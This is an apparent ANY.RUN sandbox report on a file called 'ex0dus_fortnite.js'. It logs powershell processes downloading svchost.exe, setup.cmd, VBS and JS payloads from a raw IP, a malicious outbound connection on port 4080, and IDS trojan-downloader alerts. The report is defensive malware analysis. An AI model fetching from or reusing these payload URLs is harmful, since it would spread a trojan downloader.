Read events
4 536
Write events
0
Delete events
0

Modification events

No data
Executable files
4
Suspicious files
15
Text files
10
Unknown types
1

Dropped files

PID
Process
Filename
Type
2232powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5HF6JAHQSBU02DWVHKQ9.temp —
MD5:—
SHA256:—
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q64JSQ5H4FC2CYMMTF04.temp —
MD5:—
SHA256:—
1728powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B9AY4KUFGNN167XV0WCM.temp —
MD5:—
SHA256:—
3164powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZKFCSREWDPW7S5DWMJRF.temp —
MD5:—
SHA256:—
2420powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VT9CUACF41E89JHNW5RV.temp —
MD5:—
SHA256:—
4028powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UQCOF0K7ZXMEZHFRQ38Y.temp —
MD5:—
SHA256:—
2764powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8F4KKAML8IUERVU249RS.temp —
MD5:—
SHA256:—
1728powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b26b.TMPbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
3164powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b26b.TMPbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
2484powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b24c.TMPbinary
MD5:0C1DAA668BA499584B0AC7476368101E
SHA256:326CCA676EAA6C8A45F71B6239CC22D9F49085AB54229E1777D0E15C50EC13DA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
9
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2232
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/svchost.js
CA
text
157 Kb
suspicious
2484
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/exclusion.js
CA
text
172 Kb
suspicious
1728
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/1.vbs
CA
text
4.87 Kb
suspicious
2764
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/svchost.exe
CA
executable
398 Kb
suspicious
2420
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/setup.cmd
CA
text
887 b
suspicious
3164
powershell.exe
GET
200
199.66.93.23:80
http://199.66.93.23/sysinterrupts.js
CA
text
170 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3164
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
2420
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
2484
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
1728
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
2232
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
2764
powershell.exe
199.66.93.23:80
—
Yesup Ecommerce Solutions Inc.
CA
suspicious
3224
tmp.exe
217.12.210.23:4080
—
ITL Company
UA
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
1728
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious behavior, VBS downloading vs Minimal HTTP Headers
2420
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2764
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2764
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2764
powershell.exe
Potentially Bad Traffic
ET CURRENT_EVENTS SUSPICIOUS svchost.exe in URI Probable Process Dump/Trojan Download
2764
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2764
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2764
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
ex0dus_fortnite.js